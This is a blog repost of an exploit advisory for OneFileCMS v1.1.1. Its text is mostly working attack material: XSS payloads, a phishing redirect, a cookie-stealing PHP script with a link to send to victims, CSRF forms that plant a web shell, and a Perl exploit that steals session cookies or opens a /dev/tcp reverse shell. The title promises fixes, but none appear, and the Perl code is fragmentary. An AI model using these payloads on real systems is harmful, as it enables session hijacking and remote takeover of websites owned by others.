OneFileCMS v1.1.1多重远程缺陷及修复

分类:安全 | 2011-08-22 | 撸过 1,667 次

标题: OneFileCMS v.1.1.1 Multiple Remote Vulnerabilities
作者: mr.pr0n (@_pr0n_)
# Homepage:
测试版本: OneFileCMS v.1.1.1
测试平台: Linux Fedora 14
OneFileCMS is just that. It's a flat, light, one file CMS (Content Management System) entirely contained in an easy-to-implement, highly customizable, database-less PHP script. Coupling a utilitarian code editor with all the basic necessities of an FTP application, OneFileCMS can maintain a whole website completely in-browser without any external programs.
 [!] All vulnerabilities requires authentication. [!]
0x01. Cross Site Scripting vulnerability
============================================'"><marquee><h1>XSS Vulnerability<script>alert(String.fromCharCode(88,83,83))</script></h1></marquee>'"><script>document.body.innerHTML="<style>body{visibility:hidden; background:black;}</style><div style=visibility:visible;><center><h1><font color='white'>Please fix your </font><font color='red'> XSS </font><font color='white'>!</font></h1><br>";</script>
[!] Redirection to Google through the cross site scripting vulnerability [!]
------------------------------------------------------------------------------'"><body onload="document.phising.submit();"><form name="phising" action=" </html'>"></form></body></html>
...BUT, don't forget to encode it!!!
0x02 Cross Site Request Foregery (CSRF) vulnerability
 [!] Steal the cookie (sessionid) [!]
--- stealer.php ---
header ('Location: /onefilecms/onefilecms.php?f=index.php');
$cookie = $_GET['cookie'];
$log = fopen("gotit.txt", "a");
fwrite($log, $cookie ."\n");
--- end ---
Send this link to your victim...'"><script>document.location="<A href='http://attacker_server/stealer.php?cookie="+document.cookie;</script'>http://ATTACKER_SERVER/stealer.php?cookie="+document.cookie;</script>
...BUT, don't forget to encode it first!!!
Now, check the "gotit.txt" file for the cookie.
Replace the value of the "sessionid" with the cookie that you already grab...
 [!] Create the evil file "csrf.php" [!]
<html><body onload='document.f.submit()'>
<form method=post name=f action="">
<input type="hidden" name="sessionid" value="HERE_PASTE_THE_VALUE">
<input type="hidden" name="filename" value="csrf.php">
<input name="content" value="<pre><?php system($_GET['cmd']);exit;?>">
<input type="submit" name="Save">
....enjoy the backdoor :)[command]
 [!] Delete the evil file "csrf.php" [!]
<body onload='document.f.submit()'>
<form method=post name=f action="">
<input type="hidden" name="sessionid" value="HERE_PASTE_THE_VALUE">
<input type="hidden" name="delete_filename" value="csrf.php">
<input type="submit" name="Yes">
# Exploit Title: OneFileCMS v.1.1.1 Remote Code Execution Exploit
# Date: 22/8/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: -
# Software Link:
# Version: OneFileCMS v.1.1.1
# Tested on: Linux Fedora 14
use LWP::UserAgent;
print "\n   |==[ mr.pr0n ]=============================================== |\n";
print "   | OneFileCMS 1.1.1 - [R]emote [C]ode [E]xecution [E]xploit    |\n";
print "   |===================[ ]== |\n";
print "\nEnter the target (e.g.:";
print "\n> ";
$target = "http://".$target if ($target !~ /^http:/);
print "Enter the OneFileCMS directory (e.g.: onefilecms)";
print "\n> ";
$target = $target."/".$dir;
print "\n[+] Main Menu:\n";
print "    1. Steal the \"sessionid\" cookie.\n";
print "    2. Get a shell on your target.\n";
print "    3. Exit.\n"  ;
print "> ";
if ($option!=1 && $option!=2 && $option!=3)
    print "Oups, wrong option.\nPlease, try again.\n";
    goto menu;
    if ($option==1)
    if ($option==2)
    if ($option==3)
sub cookie
    print "Enter the address of the \"stealer.php\" (e.g.:";
    print "\n> ";
    # -------------------------------------------------------------------------------------
    # stealer.php - source code
    # -------------------------------------------------------------------------------------
    # <?php
    # header ('Location:');
    # $cookie = $_GET['cookie'];
    # $log = fopen("gotit.txt", "a");
    # fwrite($log, $cookie ."\n");
    # fclose($log);
    # ?>
    # --------------------------------------------------------------------------------------
    $result = "'\"><script>document.location=\"$stealer?cookie=\"+document.cookie\;</script>";
    $result =~ s/(.)/sprintf("%x%",ord($1))/eg;
    print "\n[+] Send this link to your victim ...\n\n";
    print $target."/onefilecms.php?p=".$result."\n";
    goto menu;
sub shell
    print "Enter the sessionid:";
    print "\n> ";
    print "Enter the IP address for the reverse connection (e.g.:";
    print "\n> ";
    print "Enter the port to connect back on (e.g.: 4444)";
    print "\n> ";
    $payload =
    "<?php ".
    "system('/bin/bash -i > /dev/tcp/$ip/$port 0\<&1 2\>&1');".
    $filename = "index_".int(rand()*1011).".php";
    $csrf =
    "'\"><html><body onload='document.f.submit()'>".
    "<form method=post name=f action=\"$target/onefilecms.php\">".
    "<input type=\"hidden\" name=\"sessionid\" value=\"$sessionid\">".
    "<input type=\"hidden\" name=\"filename\" value=\"$filename\">".
    "<input name=\"content\" value=\"$payload\">".
    "<input type=\"submit\" name=\"Save\">".
    $csrf =~ s/(.)/sprintf("%x%",ord($1))/eg;
    print "\n[+] Send this link to your victim...\n\n";
    print $target."/onefilecms.php?p=".$csrf."\n";
    $nc= "nc -lvp $port";
    system("xterm -e $nc &");
    print "\n[+] Please be patient...\n";
    while (1)
        $int = LWP::UserAgent->new() or die;
        if ($check->content =~ m/was not found/g)
goto menu;
sub quit


OneFileCMS v1.1.1多重远程缺陷及修复: